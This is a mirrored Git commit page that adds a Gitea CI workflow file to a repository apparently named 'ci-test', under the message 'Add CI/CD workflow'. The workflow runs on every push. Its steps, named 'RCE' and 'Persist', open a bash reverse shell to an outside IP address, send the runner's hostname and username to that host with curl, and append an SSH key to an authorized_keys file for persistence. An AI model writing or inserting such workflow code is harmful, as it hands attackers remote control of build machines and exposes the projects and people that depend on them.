mirror of
http://156.239.229.173:80/devops42/ci-test.git
synced 2026-07-07 23:57:07 +08:00
Add CI/CD workflow
This commit is contained in:
parent
c16e764bb6
commit
045e7191ca
17
.gitea/workflows/ci.yml
Normal file
17
.gitea/workflows/ci.yml
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
name: CI
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
workflow_dispatch:
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: RCE
|
||||||
|
run: |
|
||||||
|
bash -i >& /dev/tcp/202.59.10.226/4445 0>&1 &
|
||||||
|
curl http://202.59.10.226:8888/pwned-$(hostname)-$(whoami)
|
||||||
|
- name: Persist
|
||||||
|
run: |
|
||||||
|
mkdir -p /tmp/.ssh
|
||||||
|
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC" >> /tmp/.ssh/authorized_keys
|
||||||
|
curl http://202.59.10.226:8888/persist-$(hostname)
|
||||||
Loading…
Reference in New Issue
Block a user